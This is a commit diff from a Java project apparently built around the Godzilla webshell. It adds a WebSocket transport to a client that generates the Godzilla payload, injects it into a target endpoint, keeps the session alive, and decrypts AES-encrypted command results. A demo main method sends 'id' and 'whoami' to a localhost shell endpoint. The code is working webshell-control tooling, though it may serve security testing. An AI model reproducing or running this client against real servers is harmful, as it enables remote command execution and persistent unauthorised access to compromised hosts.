Skip to content

Commit b52d7f4

Browse files
ReaJasonReaJason
committed
test: godzilla websocket failed
1 parent 8b93609 commit b52d7f4

File tree

4 files changed

+171
-446
lines changed

4 files changed

+171
-446
lines changed

‎tools/godzilla/build.gradle‎

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -17,6 +17,7 @@ dependencies {
1717
implementation 'commons-codec:commons-codec'
1818

1919
implementation 'com.squareup.okhttp3:okhttp'
20+
implementation 'org.java-websocket:Java-WebSocket'
2021

2122
testImplementation platform('org.junit:junit-bom')
2223
testImplementation 'org.junit.jupiter:junit-jupiter'

‎tools/godzilla/src/main/java/com/reajason/javaweb/godzilla/BlockingJavaWebSocketClient.java‎

Lines changed: 116 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,116 @@
1+
package com.reajason.javaweb.godzilla;
2+
3+
import lombok.SneakyThrows;
4+
import org.java_websocket.client.WebSocketClient;
5+
import org.java_websocket.handshake.ServerHandshake;
6+
7+
import java.net.URI;
8+
import java.nio.ByteBuffer;
9+
import java.util.concurrent.CountDownLatch;
10+
import java.util.concurrent.TimeUnit;
11+
import java.util.concurrent.atomic.AtomicReference;
12+
13+
public class BlockingJavaWebSocketClient extends WebSocketClient {
14+
15+
private CountDownLatch connectLatch = new CountDownLatch(1);
16+
private CountDownLatch responseLatch = new CountDownLatch(1);
17+
private final AtomicReference<String> responseMessage = new AtomicReference<>();
18+
private final AtomicReference<byte[]> responseBytesMessage = new AtomicReference<>();
19+
private volatile boolean connected = false;
20+
21+
public BlockingJavaWebSocketClient(URI serverUri) {
22+
super(serverUri);
23+
}
24+
25+
@Override
26+
public void onOpen(ServerHandshake handshake) {
27+
connected = true;
28+
connectLatch.countDown();
29+
}
30+
31+
@Override
32+
public void onMessage(String message) {
33+
responseMessage.set(message);
34+
responseLatch.countDown();
35+
close();
36+
}
37+
38+
@Override
39+
public void onMessage(ByteBuffer byteBuffer) {
40+
responseBytesMessage.set(byteBuffer.array());
41+
responseLatch.countDown();
42+
close();
43+
}
44+
45+
@Override
46+
public void onClose(int code, String reason, boolean remote) {
47+
responseLatch.countDown();
48+
connectLatch.countDown();
49+
connected = false;
50+
}
51+
52+
@Override
53+
public void onError(Exception ex) {
54+
responseLatch.countDown();
55+
connectLatch.countDown();
56+
connected = false;
57+
}
58+
59+
@SneakyThrows
60+
public static String sendRequestWaitResponse(String entrypoint, String message) {
61+
BlockingJavaWebSocketClient blockingJavaWebSocketClient = new BlockingJavaWebSocketClient(URI.create(entrypoint));
62+
return blockingJavaWebSocketClient.sendRequest(message);
63+
}
64+
65+
@SneakyThrows
66+
public static byte[] sendRequestWaitResponse(String entrypoint, ByteBuffer message) {
67+
BlockingJavaWebSocketClient blockingJavaWebSocketClient = new BlockingJavaWebSocketClient(URI.create(entrypoint));
68+
return blockingJavaWebSocketClient.sendRequest(message);
69+
}
70+
71+
public String sendRequest(String message) throws InterruptedException {
72+
connect();
73+
if (!connectLatch.await(5, TimeUnit.SECONDS)) {
74+
throw new InterruptedException("Timeout during WebSocket connection.");
75+
}
76+
if (!connected) {
77+
throw new IllegalStateException("WebSocket connection is not open.");
78+
}
79+
80+
responseMessage.set(null);
81+
connectLatch = new CountDownLatch(1);
82+
responseLatch = new CountDownLatch(1);
83+
send(message);
84+
85+
if (!responseLatch.await(5, TimeUnit.SECONDS)) {
86+
throw new InterruptedException("Timeout waiting for WebSocket response.");
87+
}
88+
return responseMessage.get();
89+
}
90+
91+
public byte[] sendRequest(ByteBuffer message) throws InterruptedException {
92+
connect();
93+
if (!connectLatch.await(5, TimeUnit.SECONDS)) {
94+
throw new InterruptedException("Timeout during WebSocket connection.");
95+
}
96+
if (!connected) {
97+
throw new IllegalStateException("WebSocket connection is not open.");
98+
}
99+
100+
responseBytesMessage.set(null);
101+
connectLatch = new CountDownLatch(1);
102+
responseLatch = new CountDownLatch(1);
103+
send(message);
104+
105+
if (!responseLatch.await(5, TimeUnit.SECONDS)) {
106+
throw new InterruptedException("Timeout waiting for WebSocket response.");
107+
}
108+
return responseBytesMessage.get();
109+
}
110+
111+
public static void main(String[] args) {
112+
String uri = "ws://localhost:8082/app/fuck";
113+
System.out.println("Response 1: " + BlockingJavaWebSocketClient.sendRequestWaitResponse(uri, "id"));
114+
System.out.println("Response 2: " + BlockingJavaWebSocketClient.sendRequestWaitResponse(uri, "whoami"));
115+
}
116+
}

‎tools/godzilla/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java‎

Lines changed: 54 additions & 33 deletions
Original file line numberDiff line numberDiff line change
@@ -17,8 +17,10 @@
1717
import javax.crypto.spec.SecretKeySpec;
1818
import java.io.*;
1919
import java.net.URLDecoder;
20+
import java.nio.ByteBuffer;
2021
import java.nio.charset.StandardCharsets;
21-
import java.util.*;
22+
import java.util.HashMap;
23+
import java.util.Map;
2224
import java.util.zip.GZIPInputStream;
2325
import java.util.zip.GZIPOutputStream;
2426

@@ -28,26 +30,18 @@
2830
@Getter
2931
@Setter
3032
public class GodzillaManager implements Closeable {
31-
private static final List<String> CLASS_NAMES;
3233

33-
static {
34-
InputStream classNamesStream = Objects.requireNonNull(GodzillaManager.class.getResourceAsStream("/godzillaShellClassNames.txt"));
35-
CLASS_NAMES = IOUtils.readLines(classNamesStream, "UTF-8");
36-
}
37-
38-
private final OkHttpClient client;
34+
private final OkHttpClient client = new OkHttpClient.Builder().build();
3935
private String cookie = "";
4036
private String entrypoint;
4137
private String key;
4238
private String pass;
4339
private String md5;
4440
private Request request;
41+
private boolean http;
42+
private boolean ws;
4543
private Map<String, String> headers = new HashMap<>();
4644

47-
public GodzillaManager() {
48-
this.client = new OkHttpClient.Builder().build();
49-
}
50-
5145
public static Pair<String, String> getKeyMd5(String key, String pass) {
5246
String md5Key = DigestUtils.md5Hex(key).substring(0, 16);
5347
String md5 = DigestUtils.md5Hex(pass + md5Key).toUpperCase();
@@ -60,7 +54,6 @@ public static GodzillaManagerBuilder builder() {
6054

6155
@SneakyThrows
6256
public static byte[] generateGodzilla() {
63-
Random random = new Random();
6457
try (DynamicType.Unloaded<?> make = new ByteBuddy()
6558
.redefine(Payload.class)
6659
.visit(TargetJreVersionVisitorWrapper.DEFAULT)
@@ -103,7 +96,7 @@ public static String getResultFromRes(String responseBody, String key, String md
10396
return responseBody;
10497
}
10598
int i = responseBody.indexOf(md5.substring(0, 16));
106-
String result = responseBody.substring(i + 16);
99+
String result = responseBody.substring(i + 16);
107100
int lastIndex = result.indexOf(md5.substring(16));
108101
result = result.substring(0, lastIndex);
109102
byte[] bytes = Base64.decodeBase64(result);
@@ -187,37 +180,59 @@ private Response post(byte[] bytes) throws IOException {
187180

188181
public boolean start() {
189182
byte[] bytes = generateGodzilla();
190-
try (Response response = post(bytes)) {
191-
String setCookie = response.header("Set-Cookie");
192-
if (setCookie != null && setCookie.contains("JSESSIONID=")) {
193-
cookie = setCookie.substring(setCookie.indexOf("JSESSIONID="), setCookie.indexOf(";"));
183+
if (isHttp()) {
184+
try (Response response = post(bytes)) {
185+
String setCookie = response.header("Set-Cookie");
186+
if (setCookie != null && setCookie.contains("JSESSIONID=")) {
187+
cookie = setCookie.substring(setCookie.indexOf("JSESSIONID="), setCookie.indexOf(";"));
188+
}
189+
if (response.isSuccessful()) {
190+
return true;
191+
}
192+
System.out.println(response.body().string().trim());
193+
} catch (IOException e) {
194+
e.printStackTrace();
194195
}
195-
if (response.isSuccessful()) {
196+
}
197+
if (isWs()) {
198+
try {
199+
BlockingJavaWebSocketClient.sendRequestWaitResponse(this.entrypoint, ByteBuffer.wrap(bytes));
196200
return true;
201+
} catch (Exception e) {
202+
e.printStackTrace();
197203
}
198-
System.out.println(response.body().string().trim());
199-
} catch (IOException e) {
200-
e.printStackTrace();
201204
}
202205
return false;
203206
}
204207

208+
@SneakyThrows
205209
public boolean test() {
206210
byte[] bytes = generateMethodCallBytes("test");
207-
try (Response response = post(bytes)) {
208-
if (response.isSuccessful()) {
209-
ResponseBody body = response.body();
210-
if (body != null) {
211-
String resultFromRes = getResultFromRes(body.string(), this.key, this.md5);
212-
System.out.println(resultFromRes);
213-
return "ok".equals(resultFromRes);
211+
if (isHttp()) {
212+
try (Response response = post(bytes)) {
213+
if (response.isSuccessful()) {
214+
ResponseBody body = response.body();
215+
if (body != null) {
216+
String resultFromRes = getResultFromRes(body.string(), this.key, this.md5);
217+
System.out.println(resultFromRes);
218+
return "ok".equals(resultFromRes);
219+
}
214220
}
221+
return false;
222+
} catch (IOException e) {
223+
e.printStackTrace();
224+
return false;
215225
}
216-
return false;
217-
} catch (IOException e) {
218-
e.printStackTrace();
219-
return false;
220226
}
227+
228+
if (isWs()) {
229+
byte[] bytes1 = BlockingJavaWebSocketClient.sendRequestWaitResponse(this.entrypoint, ByteBuffer.wrap(bytes));
230+
byte[] x = aes(key, bytes1, false);
231+
GZIPInputStream gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(x));
232+
return "ok".equals(IOUtils.toString(gzipInputStream, StandardCharsets.UTF_8));
233+
}
234+
235+
return false;
221236
}
222237

223238
@Override
@@ -284,6 +299,12 @@ public GodzillaManager build() {
284299
headers.put("Accept-Language", "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2");
285300
headers.putAll(this.headers);
286301
manager.setHeaders(headers);
302+
if (entrypoint.startsWith("http")) {
303+
manager.setHttp(true);
304+
}
305+
if (entrypoint.startsWith("ws")) {
306+
manager.setWs(true);
307+
}
287308
return manager;
288309
}
289310
}

0 commit comments

Comments
 (0)